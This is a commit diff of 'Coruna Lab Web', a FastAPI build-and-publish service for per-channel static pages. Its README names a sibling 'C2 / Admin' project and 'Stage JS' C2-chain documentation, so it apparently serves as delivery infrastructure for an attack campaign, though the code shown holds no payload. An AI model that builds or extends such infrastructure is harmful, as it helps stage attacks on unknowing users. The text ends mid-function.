init
This commit is contained in:
@@ -0,0 +1,9 @@
|
|||||||
|
*.log
|
||||||
|
.DS_Store
|
||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
/artifacts/
|
||||||
|
/frontend/out/
|
||||||
|
/.env
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
# Coruna Lab Web
|
||||||
|
|
||||||
|
独立的渠道静态资源构建与分发服务,与 [`coruna-lab`](../coruna-lab/)(Laravel C2 / Admin)同级部署。
|
||||||
|
|
||||||
|
```text
|
||||||
|
coruna-lab-web/
|
||||||
|
├── frontend/
|
||||||
|
│ ├── source/ # 只读模板 / 明文输入(勿直接 --apply)
|
||||||
|
│ ├── tools/ # new_project / patch_*
|
||||||
|
│ ├── doc/ # Stage JS / sync / C2 链路文档
|
||||||
|
│ └── tests/ # native path patch 等工具测试
|
||||||
|
├── build_api/ # 同步 Build / Delete HTTP API(FastAPI)
|
||||||
|
├── docs/BUILD_API.md
|
||||||
|
├── tests/ # build_api 单元测试
|
||||||
|
└── artifacts/ # 本地默认产物根(gitignore)
|
||||||
|
└── channel/<id>/{web,sync,out,manifest.json}
|
||||||
|
```
|
||||||
|
|
||||||
|
兄弟项目:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ios-fetch/
|
||||||
|
├── coruna-lab/ # Laravel:渠道元数据、C2、Admin
|
||||||
|
└── coruna-lab-web/ # 本仓库:构建 + 静态产物站
|
||||||
|
```
|
||||||
|
|
||||||
|
Laravel 通过 `CORUNA_BUILD_SERVICE_*` 调用本服务的:
|
||||||
|
|
||||||
|
- `POST /v1/channels/{id}/build`
|
||||||
|
- `DELETE /v1/channels/{id}`
|
||||||
|
|
||||||
|
公开静态路径:
|
||||||
|
|
||||||
|
```text
|
||||||
|
/channel/<id>/web/support.html
|
||||||
|
/channel/<id>/sync/daily.html
|
||||||
|
```
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd coruna-lab-web
|
||||||
|
python3 -m venv .venv
|
||||||
|
source .venv/bin/activate
|
||||||
|
pip install -r requirements.txt
|
||||||
|
|
||||||
|
export BUILD_API_TOKEN="$(python3 -c 'import secrets; print(secrets.token_urlsafe(48))')"
|
||||||
|
export BUILD_API_ARTIFACT_ROOT="$PWD/artifacts"
|
||||||
|
python3 -m build_api
|
||||||
|
```
|
||||||
|
|
||||||
|
手动构建(不经 API):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 frontend/tools/new_project.py \
|
||||||
|
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
||||||
|
--deployment-domains 'www.dep.example' \
|
||||||
|
--reporting-domains 'www.rep.example'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Tests
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 -m unittest discover -s tests -p 'test_*.py'
|
||||||
|
python3 -m unittest discover -s frontend/tests -p 'test_*.py'
|
||||||
|
python3 -m unittest discover -s frontend/tools/tests -p 'test_*.py'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Deploy
|
||||||
|
|
||||||
|
见 [`docs/BUILD_API.md`](docs/BUILD_API.md)。可用宝塔等面板托管进程与反向代理,仓库内不维护 Nginx / systemd 样例。
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
"""Standalone synchronous channel build API."""
|
||||||
|
|
||||||
|
from .app import create_application
|
||||||
|
from .service import ApiError, BuildService, Settings
|
||||||
|
|
||||||
|
__all__ = ["ApiError", "BuildService", "Settings", "create_application"]
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
"""Run the build API with Uvicorn."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
import uvicorn
|
||||||
|
|
||||||
|
from .app import create_application
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
host = os.environ.get("BUILD_API_HOST", "127.0.0.1")
|
||||||
|
port = int(os.environ.get("BUILD_API_PORT", "8081"))
|
||||||
|
application = create_application()
|
||||||
|
print(f"build API listening on http://{host}:{port}", flush=True)
|
||||||
|
uvicorn.run(application, host=host, port=port, log_level="info")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,218 @@
|
|||||||
|
"""FastAPI application for atomic channel builds."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import hmac
|
||||||
|
from typing import Annotated, Any, Dict, List, Optional
|
||||||
|
|
||||||
|
from fastapi import Depends, FastAPI, Path, Request, Response
|
||||||
|
from fastapi.exceptions import RequestValidationError
|
||||||
|
from fastapi.responses import JSONResponse
|
||||||
|
from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer
|
||||||
|
from pydantic import BaseModel, ConfigDict, Field, field_validator
|
||||||
|
from starlette.exceptions import HTTPException as StarletteHTTPException
|
||||||
|
|
||||||
|
from .service import ApiError, BuildService, Settings
|
||||||
|
|
||||||
|
MAX_BODY_BYTES = 64 * 1024
|
||||||
|
CHANNEL_PATH = Path(
|
||||||
|
...,
|
||||||
|
min_length=32,
|
||||||
|
max_length=32,
|
||||||
|
pattern=r"^[0-9a-z]{32}$",
|
||||||
|
description="32 lowercase alphanumeric channel id",
|
||||||
|
)
|
||||||
|
|
||||||
|
bearer_scheme = HTTPBearer(auto_error=False)
|
||||||
|
|
||||||
|
|
||||||
|
class BuildRequest(BaseModel):
|
||||||
|
model_config = ConfigDict(extra="forbid")
|
||||||
|
|
||||||
|
deployment_domains: List[str] = Field(min_length=1, max_length=8)
|
||||||
|
reporting_domains: List[str] = Field(min_length=1, max_length=8)
|
||||||
|
force: bool = Field(default=False, strict=True)
|
||||||
|
|
||||||
|
@field_validator("deployment_domains", "reporting_domains")
|
||||||
|
@classmethod
|
||||||
|
def domains_must_be_nonempty_strings(cls, value: List[str]) -> List[str]:
|
||||||
|
for item in value:
|
||||||
|
if not isinstance(item, str) or not item.strip():
|
||||||
|
raise ValueError("domain entries must be non-empty strings")
|
||||||
|
return value
|
||||||
|
|
||||||
|
|
||||||
|
def _error_response(status: int, code: str, message: str) -> JSONResponse:
|
||||||
|
return JSONResponse(
|
||||||
|
status_code=status,
|
||||||
|
content={"error": {"code": code, "message": message}},
|
||||||
|
headers={"Cache-Control": "no-store"},
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _validation_message(exc: RequestValidationError) -> str:
|
||||||
|
errors = exc.errors()
|
||||||
|
if not errors:
|
||||||
|
return "request validation failed"
|
||||||
|
first = errors[0]
|
||||||
|
loc = [str(part) for part in first.get("loc", ()) if part != "body"]
|
||||||
|
msg = str(first.get("msg", "invalid"))
|
||||||
|
error_type = str(first.get("type", ""))
|
||||||
|
|
||||||
|
if error_type == "json_invalid" or "JSON decode" in msg:
|
||||||
|
return "request body must be valid JSON"
|
||||||
|
if error_type == "model_attributes_type":
|
||||||
|
return "request body must be a JSON object"
|
||||||
|
if error_type == "extra_forbidden" and loc:
|
||||||
|
return f"unknown fields: {loc[-1]}"
|
||||||
|
if "force" in loc and error_type.startswith("bool"):
|
||||||
|
return "force must be a boolean"
|
||||||
|
if any(part == "channel_id" for part in first.get("loc", ())):
|
||||||
|
return "channel id must be 32 lowercase alphanumeric characters"
|
||||||
|
if loc and loc[-1] in {"deployment_domains", "reporting_domains"}:
|
||||||
|
field = loc[-1]
|
||||||
|
if "too_short" in error_type or "too_long" in error_type:
|
||||||
|
return f"{field} must contain 1 to 8 domains"
|
||||||
|
return f"{field} contains an invalid domain"
|
||||||
|
if loc:
|
||||||
|
return f"{'.'.join(loc)}: {msg}"
|
||||||
|
return msg
|
||||||
|
|
||||||
|
|
||||||
|
def get_settings(request: Request) -> Settings:
|
||||||
|
return request.app.state.settings
|
||||||
|
|
||||||
|
|
||||||
|
def get_service(request: Request) -> BuildService:
|
||||||
|
return request.app.state.service
|
||||||
|
|
||||||
|
|
||||||
|
def require_auth(
|
||||||
|
credentials: Annotated[
|
||||||
|
Optional[HTTPAuthorizationCredentials], Depends(bearer_scheme)
|
||||||
|
],
|
||||||
|
settings: Annotated[Settings, Depends(get_settings)],
|
||||||
|
) -> None:
|
||||||
|
token = credentials.credentials if credentials is not None else ""
|
||||||
|
if not token or not hmac.compare_digest(token, settings.bearer_token):
|
||||||
|
raise ApiError(401, "unauthorized", "valid Bearer token required")
|
||||||
|
|
||||||
|
|
||||||
|
def create_application(
|
||||||
|
settings: Optional[Settings] = None,
|
||||||
|
service: Optional[BuildService] = None,
|
||||||
|
) -> FastAPI:
|
||||||
|
resolved_settings = settings or Settings.from_env()
|
||||||
|
resolved_service = service or BuildService(resolved_settings)
|
||||||
|
|
||||||
|
app = FastAPI(
|
||||||
|
title="Coruna Build API",
|
||||||
|
version="1.0.0",
|
||||||
|
docs_url=None,
|
||||||
|
redoc_url=None,
|
||||||
|
openapi_url=None,
|
||||||
|
)
|
||||||
|
app.state.settings = resolved_settings
|
||||||
|
app.state.service = resolved_service
|
||||||
|
|
||||||
|
@app.middleware("http")
|
||||||
|
async def enforce_body_limit(request: Request, call_next: Any) -> Response:
|
||||||
|
content_length = request.headers.get("content-length")
|
||||||
|
if content_length is not None:
|
||||||
|
try:
|
||||||
|
length = int(content_length)
|
||||||
|
except ValueError:
|
||||||
|
return _error_response(
|
||||||
|
422, "validation_error", "valid Content-Length required"
|
||||||
|
)
|
||||||
|
if length > MAX_BODY_BYTES:
|
||||||
|
return _error_response(
|
||||||
|
422, "validation_error", "request body size is invalid"
|
||||||
|
)
|
||||||
|
response = await call_next(request)
|
||||||
|
if "cache-control" not in response.headers:
|
||||||
|
response.headers["Cache-Control"] = "no-store"
|
||||||
|
return response
|
||||||
|
|
||||||
|
@app.exception_handler(ApiError)
|
||||||
|
async def api_error_handler(_: Request, exc: ApiError) -> JSONResponse:
|
||||||
|
return _error_response(exc.status, exc.code, exc.message)
|
||||||
|
|
||||||
|
@app.exception_handler(RequestValidationError)
|
||||||
|
async def validation_error_handler(
|
||||||
|
_: Request, exc: RequestValidationError
|
||||||
|
) -> JSONResponse:
|
||||||
|
return _error_response(422, "validation_error", _validation_message(exc))
|
||||||
|
|
||||||
|
@app.exception_handler(StarletteHTTPException)
|
||||||
|
async def http_exception_handler(
|
||||||
|
_: Request, exc: StarletteHTTPException
|
||||||
|
) -> JSONResponse:
|
||||||
|
if exc.status_code == 404:
|
||||||
|
return _error_response(404, "not_found", "route not found")
|
||||||
|
if exc.status_code == 405:
|
||||||
|
return _error_response(405, "method_not_allowed", "method not allowed")
|
||||||
|
return _error_response(
|
||||||
|
exc.status_code, "http_error", str(exc.detail) or "request failed"
|
||||||
|
)
|
||||||
|
|
||||||
|
@app.exception_handler(Exception)
|
||||||
|
async def unhandled_error_handler(_: Request, __: Exception) -> JSONResponse:
|
||||||
|
return _error_response(500, "internal_error", "internal server error")
|
||||||
|
|
||||||
|
@app.get("/health")
|
||||||
|
def health() -> Dict[str, str]:
|
||||||
|
return {"status": "ok"}
|
||||||
|
|
||||||
|
@app.post(
|
||||||
|
"/v1/channels/{channel_id}/build",
|
||||||
|
dependencies=[Depends(require_auth)],
|
||||||
|
status_code=201,
|
||||||
|
)
|
||||||
|
def build_channel(
|
||||||
|
channel_id: Annotated[str, CHANNEL_PATH],
|
||||||
|
body: BuildRequest,
|
||||||
|
service: Annotated[BuildService, Depends(get_service)],
|
||||||
|
) -> JSONResponse:
|
||||||
|
request_input = {
|
||||||
|
"channel_id": channel_id,
|
||||||
|
"deployment_domains": BuildService.normalize_domains(
|
||||||
|
body.deployment_domains, "deployment_domains"
|
||||||
|
),
|
||||||
|
"reporting_domains": BuildService.normalize_domains(
|
||||||
|
body.reporting_domains, "reporting_domains"
|
||||||
|
),
|
||||||
|
}
|
||||||
|
status, payload, headers = service.build(
|
||||||
|
channel_id, request_input, force=body.force
|
||||||
|
)
|
||||||
|
return JSONResponse(
|
||||||
|
status_code=status,
|
||||||
|
content=payload,
|
||||||
|
headers={"Cache-Control": "no-store", **dict(headers)},
|
||||||
|
)
|
||||||
|
|
||||||
|
@app.get(
|
||||||
|
"/v1/channels/{channel_id}",
|
||||||
|
dependencies=[Depends(require_auth)],
|
||||||
|
)
|
||||||
|
def channel_status(
|
||||||
|
channel_id: Annotated[str, CHANNEL_PATH],
|
||||||
|
service: Annotated[BuildService, Depends(get_service)],
|
||||||
|
) -> Dict[str, Any]:
|
||||||
|
return service.status(channel_id)
|
||||||
|
|
||||||
|
@app.delete(
|
||||||
|
"/v1/channels/{channel_id}",
|
||||||
|
dependencies=[Depends(require_auth)],
|
||||||
|
status_code=204,
|
||||||
|
response_class=Response,
|
||||||
|
)
|
||||||
|
def delete_channel(
|
||||||
|
channel_id: Annotated[str, CHANNEL_PATH],
|
||||||
|
service: Annotated[BuildService, Depends(get_service)],
|
||||||
|
) -> Response:
|
||||||
|
service.delete(channel_id)
|
||||||
|
return Response(status_code=204, headers={"Cache-Control": "no-store"})
|
||||||
|
|
||||||
|
return app
|
||||||
@@ -0,0 +1,463 @@
|
|||||||
|
"""Channel build storage, locking, and builder orchestration."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import ctypes
|
||||||
|
import errno
|
||||||
|
import fcntl
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import uuid
|
||||||
|
from contextlib import contextmanager
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any, Iterator
|
||||||
|
|
||||||
|
CHANNEL_RE = re.compile(r"^[0-9a-z]{32}$")
|
||||||
|
DOMAIN_RE = re.compile(
|
||||||
|
r"^(?=.{1,253}\.?$)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*"
|
||||||
|
r"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.?$"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class ApiError(Exception):
|
||||||
|
def __init__(self, status: int, code: str, message: str):
|
||||||
|
super().__init__(message)
|
||||||
|
self.status = status
|
||||||
|
self.code = code
|
||||||
|
self.message = message
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class Settings:
|
||||||
|
artifact_root: Path
|
||||||
|
bearer_token: str
|
||||||
|
project_script: Path
|
||||||
|
python: str = sys.executable
|
||||||
|
build_timeout: int = 900
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_env(cls) -> "Settings":
|
||||||
|
repo_root = Path(__file__).resolve().parent.parent
|
||||||
|
token = os.environ.get("BUILD_API_TOKEN", "")
|
||||||
|
if not token:
|
||||||
|
raise RuntimeError("BUILD_API_TOKEN is required")
|
||||||
|
timeout = int(os.environ.get("BUILD_API_TIMEOUT", "900"))
|
||||||
|
if timeout < 1:
|
||||||
|
raise RuntimeError("BUILD_API_TIMEOUT must be positive")
|
||||||
|
return cls(
|
||||||
|
artifact_root=Path(
|
||||||
|
os.environ.get("BUILD_API_ARTIFACT_ROOT", repo_root / "artifacts")
|
||||||
|
),
|
||||||
|
bearer_token=token,
|
||||||
|
project_script=Path(
|
||||||
|
os.environ.get(
|
||||||
|
"BUILD_API_PROJECT_SCRIPT",
|
||||||
|
repo_root / "frontend" / "tools" / "new_project.py",
|
||||||
|
)
|
||||||
|
),
|
||||||
|
python=os.environ.get("BUILD_API_PYTHON", sys.executable),
|
||||||
|
build_timeout=timeout,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class ChannelLock:
|
||||||
|
def __init__(self, descriptor: int):
|
||||||
|
self.descriptor = descriptor
|
||||||
|
|
||||||
|
def close(self) -> None:
|
||||||
|
try:
|
||||||
|
fcntl.flock(self.descriptor, fcntl.LOCK_UN)
|
||||||
|
finally:
|
||||||
|
os.close(self.descriptor)
|
||||||
|
|
||||||
|
|
||||||
|
class BuildService:
|
||||||
|
def __init__(self, settings: Settings):
|
||||||
|
self.settings = settings
|
||||||
|
configured_root = settings.artifact_root.expanduser().absolute()
|
||||||
|
configured_root.mkdir(parents=True, exist_ok=True)
|
||||||
|
if configured_root.is_symlink() or not configured_root.is_dir():
|
||||||
|
raise RuntimeError("artifact root must be a real directory")
|
||||||
|
self.root = configured_root.resolve(strict=True)
|
||||||
|
self.channels = self.root / "channel"
|
||||||
|
self.staging = self.root / "staging"
|
||||||
|
self.locks = self.root / "locks"
|
||||||
|
self._prepare_storage()
|
||||||
|
|
||||||
|
def _prepare_storage(self) -> None:
|
||||||
|
for path in (self.channels, self.staging, self.locks):
|
||||||
|
path.mkdir(mode=0o750, exist_ok=True)
|
||||||
|
if path.is_symlink() or not path.is_dir():
|
||||||
|
raise RuntimeError(f"managed path must be a real directory: {path}")
|
||||||
|
root_device = self.root.stat().st_dev
|
||||||
|
if any(path.stat().st_dev != root_device for path in (self.channels, self.staging)):
|
||||||
|
raise RuntimeError("staging and channel directories must share a filesystem")
|
||||||
|
|
||||||
|
def build(
|
||||||
|
self, channel_id: str, request_input: dict[str, Any], *, force: bool
|
||||||
|
) -> tuple[int, dict[str, Any], list[tuple[str, str]]]:
|
||||||
|
self.validate_channel(channel_id)
|
||||||
|
digest = self._digest(request_input)
|
||||||
|
request_id = uuid.uuid4().hex
|
||||||
|
|
||||||
|
with self._channel_lock(channel_id):
|
||||||
|
destination = self._channel_path(channel_id)
|
||||||
|
if self._path_exists(destination):
|
||||||
|
self._assert_safe_tree(destination)
|
||||||
|
current = self._read_manifest(destination)
|
||||||
|
if current is None:
|
||||||
|
raise ApiError(
|
||||||
|
409,
|
||||||
|
"existing_build_invalid",
|
||||||
|
"channel release exists without a valid manifest",
|
||||||
|
)
|
||||||
|
if current.get("input_digest") == digest and not force:
|
||||||
|
return 200, self._status_payload(channel_id, current), []
|
||||||
|
if not force:
|
||||||
|
raise ApiError(
|
||||||
|
409,
|
||||||
|
"build_conflict",
|
||||||
|
"channel already exists with different build input",
|
||||||
|
)
|
||||||
|
|
||||||
|
stage = self._staging_path(request_id)
|
||||||
|
stage.mkdir(mode=0o750)
|
||||||
|
try:
|
||||||
|
completed = self._run_builder(stage, channel_id, request_input)
|
||||||
|
self._validate_output(stage, channel_id)
|
||||||
|
release = self._read_manifest(stage) or {}
|
||||||
|
manifest = {
|
||||||
|
**release,
|
||||||
|
"schema_version": 1,
|
||||||
|
"channel_id": channel_id,
|
||||||
|
"request_id": request_id,
|
||||||
|
"input_digest": digest,
|
||||||
|
"input": request_input,
|
||||||
|
"built_at": int(time.time()),
|
||||||
|
"support_path": release.get(
|
||||||
|
"support_path", f"/channel/{channel_id}/web/support.html"
|
||||||
|
),
|
||||||
|
"daily_path": release.get(
|
||||||
|
"daily_path", f"/channel/{channel_id}/sync/daily.html"
|
||||||
|
),
|
||||||
|
"builder": {
|
||||||
|
"exit_code": completed.returncode,
|
||||||
|
"stdout_sha256": hashlib.sha256(
|
||||||
|
completed.stdout.encode("utf-8", "replace")
|
||||||
|
).hexdigest(),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
self._replace_json(stage / "manifest.json", manifest)
|
||||||
|
self._publish(stage, destination, request_id)
|
||||||
|
except subprocess.TimeoutExpired as exc:
|
||||||
|
raise ApiError(500, "build_timeout", "builder timed out") from exc
|
||||||
|
except subprocess.CalledProcessError as exc:
|
||||||
|
message = self._builder_error(exc)
|
||||||
|
raise ApiError(500, "build_failed", message) from exc
|
||||||
|
finally:
|
||||||
|
if stage.exists():
|
||||||
|
self._remove_staging(stage)
|
||||||
|
|
||||||
|
return 201, self._status_payload(channel_id, manifest), [
|
||||||
|
("Location", f"/v1/channels/{channel_id}")
|
||||||
|
]
|
||||||
|
|
||||||
|
def status(self, channel_id: str) -> dict[str, Any]:
|
||||||
|
self.validate_channel(channel_id)
|
||||||
|
destination = self._channel_path(channel_id)
|
||||||
|
if not self._path_exists(destination):
|
||||||
|
raise ApiError(404, "not_found", "channel release not found")
|
||||||
|
self._assert_safe_tree(destination)
|
||||||
|
manifest = self._read_manifest(destination)
|
||||||
|
if manifest is None:
|
||||||
|
raise ApiError(500, "invalid_release", "channel manifest is invalid")
|
||||||
|
return self._status_payload(channel_id, manifest)
|
||||||
|
|
||||||
|
def delete(self, channel_id: str) -> None:
|
||||||
|
self.validate_channel(channel_id)
|
||||||
|
with self._channel_lock(channel_id):
|
||||||
|
destination = self._channel_path(channel_id)
|
||||||
|
if self._path_exists(destination):
|
||||||
|
self._safe_rmtree(destination)
|
||||||
|
|
||||||
|
def _run_builder(
|
||||||
|
self, stage: Path, channel_id: str, request_input: dict[str, Any]
|
||||||
|
) -> subprocess.CompletedProcess[str]:
|
||||||
|
script = self.settings.project_script
|
||||||
|
if script.is_symlink() or not script.is_file():
|
||||||
|
raise ApiError(500, "builder_unavailable", "builder script is unavailable")
|
||||||
|
# Staging is created empty by the API; new_project refuses an existing
|
||||||
|
# --root unless --force is set.
|
||||||
|
command = [
|
||||||
|
self.settings.python,
|
||||||
|
str(script),
|
||||||
|
"--root",
|
||||||
|
str(stage),
|
||||||
|
"--channel-id",
|
||||||
|
channel_id,
|
||||||
|
"--force",
|
||||||
|
]
|
||||||
|
for domain in request_input["deployment_domains"]:
|
||||||
|
command.extend(["--deployment-domains", domain])
|
||||||
|
for domain in request_input["reporting_domains"]:
|
||||||
|
command.extend(["--reporting-domains", domain])
|
||||||
|
return subprocess.run(
|
||||||
|
command,
|
||||||
|
cwd=str(Path(__file__).resolve().parent.parent),
|
||||||
|
check=True,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=self.settings.build_timeout,
|
||||||
|
env={**os.environ, "PYTHONUNBUFFERED": "1"},
|
||||||
|
)
|
||||||
|
|
||||||
|
def _publish(self, stage: Path, destination: Path, request_id: str) -> None:
|
||||||
|
self._assert_safe_tree(stage)
|
||||||
|
backup = self.channels / f".replaced-{destination.name}-{request_id}"
|
||||||
|
moved_old = False
|
||||||
|
try:
|
||||||
|
if self._path_exists(destination):
|
||||||
|
self._assert_safe_tree(destination)
|
||||||
|
if self._exchange_directories(stage, destination):
|
||||||
|
self._safe_rmtree(stage)
|
||||||
|
self._fsync_directory(self.channels)
|
||||||
|
return
|
||||||
|
os.rename(destination, backup)
|
||||||
|
moved_old = True
|
||||||
|
os.rename(stage, destination)
|
||||||
|
except Exception:
|
||||||
|
if (
|
||||||
|
moved_old
|
||||||
|
and not self._path_exists(destination)
|
||||||
|
and self._path_exists(backup)
|
||||||
|
):
|
||||||
|
os.rename(backup, destination)
|
||||||
|
raise
|
||||||
|
self._fsync_directory(self.channels)
|
||||||
|
if self._path_exists(backup):
|
||||||
|
self._safe_rmtree(backup)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _exchange_directories(first: Path, second: Path) -> bool:
|
||||||
|
"""Atomically exchange directories on Linux; return false if unsupported."""
|
||||||
|
if not sys.platform.startswith("linux"):
|
||||||
|
return False
|
||||||
|
libc = ctypes.CDLL(None, use_errno=True)
|
||||||
|
renameat2 = getattr(libc, "renameat2", None)
|
||||||
|
if renameat2 is None:
|
||||||
|
return False
|
||||||
|
renameat2.argtypes = [
|
||||||
|
ctypes.c_int,
|
||||||
|
ctypes.c_char_p,
|
||||||
|
ctypes.c_int,
|
||||||
|
ctypes.c_char_p,
|
||||||
|
ctypes.c_uint,
|
||||||
|
]
|
||||||
|
renameat2.restype = ctypes.c_int
|
||||||
|
result = renameat2(
|
||||||
|
-100,
|
||||||
|
os.fsencode(first),
|
||||||
|
-100,
|
||||||
|
os.fsencode(second),
|
||||||
|
2,
|
||||||
|
)
|
||||||
|
if result == 0:
|
||||||
|
return True
|
||||||
|
error = ctypes.get_errno()
|
||||||
|
if error in (errno.ENOSYS, errno.EINVAL, errno.ENOTSUP):
|
||||||
|
return False
|
||||||
|
raise OSError(error, os.strerror(error))
|
||||||
|
|
||||||
|
def _validate_output(self, stage: Path, channel_id: str) -> None:
|
||||||
|
required_dirs = (stage / "web", stage / "sync", stage / "out")
|
||||||
|
if any(not path.is_dir() or path.is_symlink() for path in required_dirs):
|
||||||
|
raise ApiError(
|
||||||
|
500,
|
||||||
|
"invalid_build_output",
|
||||||
|
"builder must produce web, sync, and out directories",
|
||||||
|
)
|
||||||
|
required_files = (
|
||||||
|
stage / "web" / "support.html",
|
||||||
|
stage / "sync" / "daily.html",
|
||||||
|
stage / "manifest.json",
|
||||||
|
)
|
||||||
|
if any(not path.is_file() or path.is_symlink() for path in required_files):
|
||||||
|
raise ApiError(
|
||||||
|
500,
|
||||||
|
"invalid_build_output",
|
||||||
|
"builder must produce support.html, daily.html, and manifest.json",
|
||||||
|
)
|
||||||
|
release = self._read_manifest(stage)
|
||||||
|
if not release or release.get("channel_id") != channel_id:
|
||||||
|
raise ApiError(
|
||||||
|
500,
|
||||||
|
"invalid_build_output",
|
||||||
|
"builder manifest channel_id does not match request",
|
||||||
|
)
|
||||||
|
self._assert_safe_tree(stage)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def normalize_domains(value: list[str], field: str) -> list[str]:
|
||||||
|
if not value or len(value) > 8:
|
||||||
|
raise ApiError(
|
||||||
|
422, "validation_error", f"{field} must contain 1 to 8 domains"
|
||||||
|
)
|
||||||
|
result: list[str] = []
|
||||||
|
for item in value:
|
||||||
|
domain = item.strip().lower()
|
||||||
|
if not DOMAIN_RE.fullmatch(domain):
|
||||||
|
raise ApiError(
|
||||||
|
422, "validation_error", f"{field} contains an invalid domain"
|
||||||
|
)
|
||||||
|
result.append(domain.rstrip("."))
|
||||||
|
if len(set(result)) != len(result):
|
||||||
|
raise ApiError(
|
||||||
|
422, "validation_error", f"{field} must not contain duplicates"
|
||||||
|
)
|
||||||
|
return result
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def validate_channel(channel_id: str) -> None:
|
||||||
|
if not CHANNEL_RE.fullmatch(channel_id):
|
||||||
|
raise ApiError(
|
||||||
|
422,
|
||||||
|
"validation_error",
|
||||||
|
"channel id must be 32 lowercase alphanumeric characters",
|
||||||
|
)
|
||||||
|
|
||||||
|
@contextmanager
|
||||||
|
def _channel_lock(self, channel_id: str) -> Iterator[ChannelLock]:
|
||||||
|
path = self.locks / f"{channel_id}.lock"
|
||||||
|
flags = os.O_CREAT | os.O_RDWR
|
||||||
|
if hasattr(os, "O_NOFOLLOW"):
|
||||||
|
flags |= os.O_NOFOLLOW
|
||||||
|
try:
|
||||||
|
descriptor = os.open(path, flags, 0o640)
|
||||||
|
except OSError as exc:
|
||||||
|
raise ApiError(409, "channel_locked", "channel lock is unavailable") from exc
|
||||||
|
lock = ChannelLock(descriptor)
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
fcntl.flock(descriptor, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||||
|
except OSError as exc:
|
||||||
|
if exc.errno in (errno.EACCES, errno.EAGAIN):
|
||||||
|
raise ApiError(
|
||||||
|
409, "channel_locked", "another channel operation is in progress"
|
||||||
|
) from exc
|
||||||
|
raise
|
||||||
|
yield lock
|
||||||
|
finally:
|
||||||
|
lock.close()
|
||||||
|
|
||||||
|
def _channel_path(self, channel_id: str) -> Path:
|
||||||
|
return self._contained(self.channels, self.channels / channel_id)
|
||||||
|
|
||||||
|
def _staging_path(self, request_id: str) -> Path:
|
||||||
|
return self._contained(self.staging, self.staging / request_id)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _contained(parent: Path, child: Path) -> Path:
|
||||||
|
if child.parent != parent or not child.is_relative_to(parent):
|
||||||
|
raise ApiError(500, "unsafe_path", "managed path escaped its root")
|
||||||
|
return child
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _assert_safe_tree(path: Path) -> None:
|
||||||
|
if path.is_symlink() or not path.is_dir():
|
||||||
|
raise ApiError(409, "unsafe_release", "managed release is not a real directory")
|
||||||
|
for root, directories, files in os.walk(path, followlinks=False):
|
||||||
|
for name in (*directories, *files):
|
||||||
|
entry = Path(root) / name
|
||||||
|
if entry.is_symlink():
|
||||||
|
raise ApiError(
|
||||||
|
409, "unsafe_release", "managed release contains a symbolic link"
|
||||||
|
)
|
||||||
|
|
||||||
|
def _safe_rmtree(self, path: Path) -> None:
|
||||||
|
self._assert_safe_tree(path)
|
||||||
|
shutil.rmtree(path)
|
||||||
|
|
||||||
|
def _remove_staging(self, path: Path) -> None:
|
||||||
|
"""Remove an unpublished builder tree without following child symlinks."""
|
||||||
|
self._contained(self.staging, path)
|
||||||
|
if path.is_symlink() or not path.is_dir():
|
||||||
|
raise ApiError(500, "unsafe_path", "staging root is not a real directory")
|
||||||
|
shutil.rmtree(path)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _path_exists(path: Path) -> bool:
|
||||||
|
return os.path.lexists(path)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _fsync_directory(path: Path) -> None:
|
||||||
|
descriptor = os.open(path, os.O_RDONLY)
|
||||||
|
try:
|
||||||
|
os.fsync(descriptor)
|
||||||
|
finally:
|
||||||
|
os.close(descriptor)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _replace_json(path: Path, value: dict[str, Any]) -> None:
|
||||||
|
"""Atomically overwrite JSON that the builder may already have created."""
|
||||||
|
data = json.dumps(value, sort_keys=True, indent=2).encode() + b"\n"
|
||||||
|
temporary = path.with_name(f".{path.name}.{uuid.uuid4().hex}.tmp")
|
||||||
|
descriptor = os.open(temporary, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o640)
|
||||||
|
try:
|
||||||
|
